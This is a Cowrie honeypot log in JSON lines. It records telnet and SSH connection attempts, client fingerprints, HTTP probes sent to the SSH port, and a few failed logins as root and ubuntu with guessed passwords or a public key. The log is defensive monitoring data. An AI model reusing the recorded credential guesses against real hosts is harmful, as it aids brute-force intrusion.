{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60274,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3c679d682ab","protocol":"telnet","message":"New connection: 128.199.8.54:60274 (159.203.135.109:23) [session: f3c679d682ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:20.677363Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39150,"dst_ip":"10.17.0.5","dst_port":23,"session":"5390cbf08940","protocol":"telnet","message":"New connection: 212.55.149.117:39150 (10.17.0.5:23) [session: 5390cbf08940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:22.650501Z"}
{"eventid":"cowrie.session.closed","duration":33.84041881561279,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:29.711166Z","src_ip":"128.199.8.54","session":"9a9aecd6d4c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.252500772476196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:31.480095Z","src_ip":"45.148.121.166","session":"fdfde49c84f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.195467710494995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:33.128565Z","src_ip":"45.148.121.166","session":"a213cc6f35a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.814040184020996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:37.127245Z","src_ip":"128.199.8.54","session":"f395cff108d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00237488746643,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:38.694880Z","src_ip":"212.55.149.117","session":"249c4a2c9a95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.181.32.208","src_port":6985,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f9d0afcbad","protocol":"telnet","message":"New connection: 223.181.32.208:6985 (10.17.0.5:23) [session: e7f9d0afcbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:43.213986Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":33716,"dst_ip":"10.17.0.5","dst_port":23,"session":"71dacd30c1e8","protocol":"telnet","message":"New connection: 208.92.193.123:33716 (10.17.0.5:23) [session: 71dacd30c1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:51.868575Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42978,"dst_ip":"159.203.135.109","dst_port":23,"session":"e380ffecd795","protocol":"telnet","message":"New connection: 128.199.8.54:42978 (159.203.135.109:23) [session: e380ffecd795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:54.056372Z"}
{"eventid":"cowrie.session.closed","duration":34.58648133277893,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:55.263743Z","src_ip":"128.199.8.54","session":"f3c679d682ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.221625328063965,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:55.435529Z","src_ip":"223.181.32.208","session":"e7f9d0afcbad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86579346656799,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:56.164083Z","src_ip":"128.199.8.54","session":"30466df3ac9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":56828,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a58207f18e7","protocol":"telnet","message":"New connection: 45.148.121.166:56828 (159.203.135.109:23) [session: 3a58207f18e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:02.468981Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56244,"dst_ip":"159.203.135.109","dst_port":23,"session":"20dc57ff8627","protocol":"telnet","message":"New connection: 128.199.8.54:56244 (159.203.135.109:23) [session: 20dc57ff8627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:14.293836Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52574,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0f962ffc7e3","protocol":"telnet","message":"New connection: 128.199.8.54:52574 (159.203.135.109:23) [session: d0f962ffc7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:15.455349Z"}
{"eventid":"cowrie.session.closed","duration":31.086794137954712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:22.955252Z","src_ip":"208.92.193.123","session":"71dacd30c1e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0395565032959,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:27.095783Z","src_ip":"128.199.8.54","session":"e380ffecd795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44190,"dst_ip":"10.17.0.5","dst_port":22,"session":"28f0947875f5","protocol":"ssh","message":"New connection: 103.15.226.202:44190 (10.17.0.5:22) [session: 28f0947875f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:27.491930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:27.497105Z","src_ip":"103.15.226.202","session":"28f0947875f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:27.746372Z","src_ip":"103.15.226.202","session":"28f0947875f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yx@123456","message":"login attempt [root/yx@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:28.490915Z","src_ip":"103.15.226.202","session":"28f0947875f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:29.745642Z","src_ip":"103.15.226.202","session":"28f0947875f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":43884,"dst_ip":"159.203.135.109","dst_port":23,"session":"994af381fc72","protocol":"telnet","message":"New connection: 45.148.121.166:43884 (159.203.135.109:23) [session: 994af381fc72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:30.538826Z"}
{"eventid":"cowrie.session.closed","duration":30.993731260299683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:33.462584Z","src_ip":"45.148.121.166","session":"3a58207f18e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36088,"dst_ip":"159.203.135.109","dst_port":23,"session":"904a559c84d0","protocol":"telnet","message":"New connection: 128.199.8.54:36088 (159.203.135.109:23) [session: 904a559c84d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:34.793288Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48414,"dst_ip":"159.203.135.109","dst_port":22,"session":"8237ce0a2597","protocol":"ssh","message":"New connection: 2.57.122.208:48414 (159.203.135.109:22) [session: 8237ce0a2597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:36.635228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:36.737944Z","src_ip":"2.57.122.208","session":"8237ce0a2597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:37.048801Z","src_ip":"2.57.122.208","session":"8237ce0a2597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:38.234322Z","src_ip":"2.57.122.208","session":"8237ce0a2597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:39.430309Z","src_ip":"2.57.122.208","session":"8237ce0a2597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.122.58.231","src_port":35362,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb24f298c36","protocol":"ssh","message":"New connection: 134.122.58.231:35362 (10.17.0.5:22) [session: 4eb24f298c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:39.557144Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:39.562924Z","src_ip":"134.122.58.231","session":"4eb24f298c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:39.566949Z","src_ip":"134.122.58.231","session":"4eb24f298c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.122.58.231","src_port":35370,"dst_ip":"10.17.0.5","dst_port":22,"session":"4047c455f696","protocol":"ssh","message":"New connection: 134.122.58.231:35370 (10.17.0.5:22) [session: 4047c455f696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:39.715939Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:39.721711Z","src_ip":"134.122.58.231","session":"4047c455f696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:39.725693Z","src_ip":"134.122.58.231","session":"4047c455f696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":49788,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1b3d41829c3","protocol":"telnet","message":"New connection: 45.148.121.166:49788 (159.203.135.109:23) [session: c1b3d41829c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:40.796386Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57378,"dst_ip":"159.203.135.109","dst_port":23,"session":"570ec8b8320a","protocol":"telnet","message":"New connection: 128.199.8.54:57378 (159.203.135.109:23) [session: 570ec8b8320a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:42.982530Z"}
{"eventid":"cowrie.session.closed","duration":31.372438192367554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:46.827686Z","src_ip":"128.199.8.54","session":"d0f962ffc7e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39698,"dst_ip":"159.203.135.109","dst_port":23,"session":"43d6f061663f","protocol":"telnet","message":"New connection: 128.199.8.54:39698 (159.203.135.109:23) [session: 43d6f061663f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:48.191581Z"}
{"eventid":"cowrie.session.closed","duration":36.818920612335205,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:51.112647Z","src_ip":"128.199.8.54","session":"20dc57ff8627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50852,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb460b3549f6","protocol":"telnet","message":"New connection: 128.199.8.54:50852 (159.203.135.109:23) [session: fb460b3549f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:52.589020Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52958,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd94b6672371","protocol":"telnet","message":"New connection: 128.199.8.54:52958 (159.203.135.109:23) [session: fd94b6672371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:02:53.592556Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36714,"dst_ip":"159.203.135.109","dst_port":23,"session":"0170ae97c84e","protocol":"telnet","message":"New connection: 128.199.8.54:36714 (159.203.135.109:23) [session: 0170ae97c84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:00.678907Z"}
{"eventid":"cowrie.session.closed","duration":31.46890950202942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:02.007603Z","src_ip":"45.148.121.166","session":"994af381fc72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":38631,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d81b54a2d9","protocol":"telnet","message":"New connection: 212.55.149.117:38631 (10.17.0.5:23) [session: a7d81b54a2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:05.106470Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47752,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da245c18a3c","protocol":"telnet","message":"New connection: 128.199.8.54:47752 (159.203.135.109:23) [session: 6da245c18a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:05.359307Z"}
{"eventid":"cowrie.session.closed","duration":31.75072979927063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:06.543908Z","src_ip":"128.199.8.54","session":"904a559c84d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":60494,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ebb971c2e17","protocol":"telnet","message":"New connection: 45.148.121.166:60494 (159.203.135.109:23) [session: 3ebb971c2e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:07.048948Z"}
{"eventid":"cowrie.session.closed","duration":30.364646673202515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:11.160686Z","src_ip":"45.148.121.166","session":"c1b3d41829c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":60500,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e65fbe6f954","protocol":"telnet","message":"New connection: 45.148.121.166:60500 (159.203.135.109:23) [session: 1e65fbe6f954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:11.457002Z"}
{"eventid":"cowrie.session.closed","duration":33.518877267837524,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:16.501284Z","src_ip":"128.199.8.54","session":"570ec8b8320a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.24","src_port":40002,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a14f6a025cd","protocol":"ssh","message":"New connection: 188.44.20.24:40002 (10.17.0.5:22) [session: 7a14f6a025cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:16.776759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:16.784958Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:16.917334Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":55136,"dst_ip":"159.203.135.109","dst_port":23,"session":"2041a8641a8d","protocol":"telnet","message":"New connection: 45.148.121.166:55136 (159.203.135.109:23) [session: 2041a8641a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:17.485110Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:46:77:81:50:61:a8:f4:39:2b:46:58:f1:f1:ba:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjQ5YqrtC7ETRUXyjZdkpoilXnwmd/z9COd0ZDBDJh+yrQ85IOsIHJnRlyUb4R7cU2ryHAT7h5BqV5yayhU0VLq9b3yDjIrTeTS+oRAGGVRD57MmSanqz/pA1xy87GQZLXCaZhVHzEFwxMoLrmjVynOLbdGZm0uSj1kJfHiFbSlFdxbcA+0O9XokPTrWTz33MnNt43VHgyv11PY32W9cgyFZPdPKR/1facnX5Adk3LEB9/1jbCXiKdU5u71hO1KBdEcQUdKAnZhjjMvHn3T0VzQiaiwkUYAM9AFwK274vQibHb1kRAmsqiCTKi4Hc7njVMM9O6ivVSmVEv/rE5T0Lr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:46:77:81:50:61:a8:f4:39:2b:46:58:f1:f1:ba:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:17.551938Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:46:77:81:50:61:a8:f4:39:2b:46:58:f1:f1:ba:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjQ5YqrtC7ETRUXyjZdkpoilXnwmd/z9COd0ZDBDJh+yrQ85IOsIHJnRlyUb4R7cU2ryHAT7h5BqV5yayhU0VLq9b3yDjIrTeTS+oRAGGVRD57MmSanqz/pA1xy87GQZLXCaZhVHzEFwxMoLrmjVynOLbdGZm0uSj1kJfHiFbSlFdxbcA+0O9XokPTrWTz33MnNt43VHgyv11PY32W9cgyFZPdPKR/1facnX5Adk3LEB9/1jbCXiKdU5u71hO1KBdEcQUdKAnZhjjMvHn3T0VzQiaiwkUYAM9AFwK274vQibHb1kRAmsqiCTKi4Hc7njVMM9O6ivVSmVEv/rE5T0Lr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:17.556615Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
